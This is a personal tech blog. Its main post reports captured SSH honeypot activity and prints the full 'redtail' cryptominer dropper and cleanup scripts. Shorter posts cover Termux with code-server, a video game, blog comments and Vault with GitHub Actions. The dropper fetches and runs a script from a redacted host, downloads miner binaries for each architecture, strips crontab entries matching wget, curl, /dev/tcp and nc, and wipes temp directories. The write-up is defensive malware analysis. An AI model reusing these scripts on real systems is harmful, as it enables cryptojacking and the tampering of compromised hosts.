Darkfoe's Blog

Finally began deploying my homemade honeypot (emulated ssh server), and starting to get some interesting results, such as the below:

{
    "ip":"[redacted]",
    "rdns":"",
    "user":"root",
    "password":"[redacted - not important anyway]",
    "session_id":"e062ee72-efdc-41f1-ab8d-f8638b85ad03",
    "timestamp":{
        "session_start":"2026-03-02T04:09:24.410659709Z",
        "session_end":"2026-03-02T04:09:24.842450321Z"},
        "commands":[
            {
                "timestamp":"2026-03-02T04:09:24.751221551Z",
                "command":"uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; (wget --no-check-certificate -qO- https://[redacted]/sh || curl -sk https://[redacted]/sh) | sh -s ssh"
            }
        ]
}

So breaking down the /sh part - I found it seems to run a cleanup script and downloads a binary based on the architechure. Also does a few checks on the way (see below)

#!/bin/bash

get_random_string() {
  len=$(expr $(od -An -N2 -i /dev/urandom 2>/dev/null | tr -d ' ') % 32 + 4 2>/dev/null)

  if command -v openssl >/dev/null 2>&1; then
    str=$(openssl rand -base64 256 2>/dev/null | tr -dc 'A-Za-z0-9' | head -c "$len")
    if [ -n "$str" ]; then
      echo "$str"
      return 0
    fi
  fi

  if [ -r /dev/urandom ]; then
    str=$(tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c "$len")
    if [ -n "$str" ]; then
      echo "$str"
      return 0
    fi
  fi

  if [ -n "$RANDOM" ]; then
    echo "$RANDOM"
    return 0
  fi

  # If all else fails
  echo "redtail"
  return 1
}

dlr() {
  rm -rf $1
  wget --no-check-certificate -q https://[redacted]/$1 || curl -skO https://[redacted]/$1
}

NOEXEC_DIRS=$(cat /proc/mounts | grep 'noexec' | awk '{print $2}')
EXCLUDE=""

for dir in $NOEXEC_DIRS; do
  EXCLUDE="${EXCLUDE} -not -path \"$dir\" -not -path \"$dir/*\""
done

FOLDERS=$(eval find / -type d -user $(whoami) -perm -u=rwx -not -path \"/tmp/*\" -not -path \"/proc/*\" $EXCLUDE 2>/dev/null)
ARCH=$(uname -mp)
OK=true
FILENAME=".$(get_random_string)"

for i in $FOLDERS /tmp /var/tmp /dev/shm; do
  if cd "$i" && touch .testfile && (dd if=/dev/zero of=.testfile2 bs=2M count=1 >/dev/null 2>&1 || truncate -s 2M .testfile2 >/dev/null 2>&1); then
    rm -rf .testfile .testfile2
    break
  fi
done

dlr clean
chmod +x clean
sh clean >/dev/null 2>&1
rm -rf clean

rm -rf .redtail
rm -rf $FILENAME

if echo "$ARCH" | grep -q "x86_64" || echo "$ARCH" | grep -q "amd64"; then
  dlr x86_64
  mv x86_64 $FILENAME
elif echo "$ARCH" | grep -q "i[3456]86"; then
  dlr i686
  mv i686 $FILENAME
elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
  dlr aarch64
  mv aarch64 $FILENAME
elif echo "$ARCH" | grep -q "armv7"; then
  dlr arm7
  mv arm7 $FILENAME
else
  OK=false
  for a in x86_64 i686 aarch64 arm7; do
    dlr $a
    cat $a >$FILENAME
    chmod +x $FILENAME
    ./$FILENAME $1 >/dev/null 2>&1
    rm -rf $a
  done
fi

if [ $OK = true ]; then
  chmod +x $FILENAME
  ./$FILENAME $1 >/dev/null 2>&1
fi

And for its cleanup script it wants to run:

#!/bin/bash

clean_crontab() {
  chattr -ia "$1"
  grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1" >/tmp/clean_crontab
  mv /tmp/clean_crontab "$1"
}

systemctl disable c3pool_miner
systemctl stop c3pool_miner

chattr -ia /var/spool/cron/crontabs
for user_cron in /var/spool/cron/crontabs/*; do
  [ -f "$user_cron" ] && clean_crontab "$user_cron"
done

for system_cron in /etc/crontab /etc/crontabs; do
  [ -f "$system_cron" ] && clean_crontab "$system_cron"
done

for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.d; do
  chattr -ia "$dir"
  for system_cron in "$dir"/*; do
    [ -f "$system_cron" ] && clean_crontab "$system_cron"
  done
done

clean_crontab /etc/anacrontab

for i in /tmp /var/tmp /dev/shm; do
  rm -rf $i/*
done

After some analysis of the binaries I have discovered nothing unexpected - ie in this case this was an XMR cryptominer with a unique name of "redtail" inside it, supporting multiple architechures. Likely hitting any IOT or VPS it can grab. Completely automated, roughly half hour intervals between attempting user/password combos until it gets in - then it seems roughly 8-12 hour reinfection attempts.

Unforurtunately, I was unable to get its configuration, so was not able to get a wallet address or command and control server. Server serving the binaries seems to just be a binary staging server, nothing special, so no leads there.

Will continue monitoring it for now to see if I find anything else. Eventually will build a analysis "pipeline" to see if I can see it evolve as it keeps retrying to re-infect.

Termux + Dex + code-server Claude

2026-02-22 1:30pm EST

So for anyone else trying to find a way to make Samsung dex work as a dev PC - termux with code-server works for obvious reasons (install extensions in the terminal - extensions don't install well in the UI) and use Claude code for the AI.

Co-pilot doesn't work, and Continue.dev does not work. Have yet to try Codex, but Claude works wonderfully out of the gate.

Took a break and played Delver

2024-01-16 9:30pm ADT

Went on a little break for playing video games, and today it was Delver. So far I have:

(Not only blogging on technical stuff - tossing the odd other thing onto here. This is the closest to social media I'll use.)

Good experience, will play again at some point to try to get to some sort of conclusion.

Comments section added for posts

2024-01-15 9:30pm ADT

Finally like a real blog again (last time I ran one was in 2010 or so) so I added a comments section. Took a bit to setup, and uses a selfhosted version of Commento.

Anonymous comments are enabled and manually approved, so go nuts within reason.

It's quite neat I can add this while still doing a static site setup for the actual content here (static-ish - NodeJS packaged site that I commit via git to and it runs a pipeline to publish.) Pretty happy about that since the pageload speed is awesome and I have some flexibility, and can toss into a k8s cluster!

Vault and Github Actions

2025-01-15 6:15pm ADT

Lots of little bits of digging I had to do to get Vault working with Github Actions. But, quick summary of how I got it working, using wmb as an example (my webhook-to-IRC bot).

Inside a job, you can add this:

- name: Retrieve wmb info from vault
    id: import-secrets-wmb
    uses: hashicorp/vault-action@v3.1.0
    with:
    url: ${{ secrets.VAULT_ADDR }}
    method: approle
    roleId: ${{ secrets.VAULT_ROLE_ID }}
    secretId: ${{ secrets.VAULT_SECRET_ID }}
    secrets: |
        kv/data/pipeline/wmb WMB_URL ;
        kv/data/pipeline/wmb WMB_PASSWORD
    exportEnv: true

Then, access the secrets in the job like this:

- name: Notify IRC on Success
    run: |
    export COMMIT_MSG=$(git log -1 --pretty=%B)
    export MESSAGE="Build and push of ghcr.io/${{ github.repository }}:staging completed with commit message: $COMMIT_MSG. See https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}"
    curl -X POST -H "Content-Type: application/json" -d "{\"message\": \"$MESSAGE\", \"password\": \"${{ steps.import-secrets-wmb.outputs.WMB_PASSWORD }}\", \"colourcode\": 3}" ${{ steps.import-secrets-wmb.outputs.WMB_URL }}
    if: success()

- name: Notify IRC on Failure
    run: |
    export COMMIT_MSG=$(git log -1 --pretty=%B)
    export MESSAGE="Build and push of ghcr.io/${{ github.repository }}:staging failed with commit message: $COMMIT_MSG. See https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}"
    curl -X POST -H "Content-Type: application/json" -d "{\"message\": \"$MESSAGE\", \"password\": \"${{ steps.import-secrets-wmb.outputs.WMB_PASSWORD }}\", \"colourcode\": 4}" ${{ steps.import-secrets-wmb.outputs.WMB_URL }}
    if: failure()

So in summary for accessing the secrets, put in {{ steps.import-secrets-wmb.outputs.WMB_URL }} and {{ steps.import-secrets-wmb.outputs.WMB_PASSWORD }} to access inside other steps of the job.

The biggest thing I noted was needing to add the ; and have each secret on a newline when accessing multiple secrets, specifically

secrets: |
            kv/data/pipeline/wmb WMB_URL ;
            kv/data/pipeline/wmb WMB_PASSWORD

And now just set the VAULT_ADDR, VAULT_ROLE_ID, and VAULT_SECRET_ID in the repo secrets for GH actions, and you're good to go.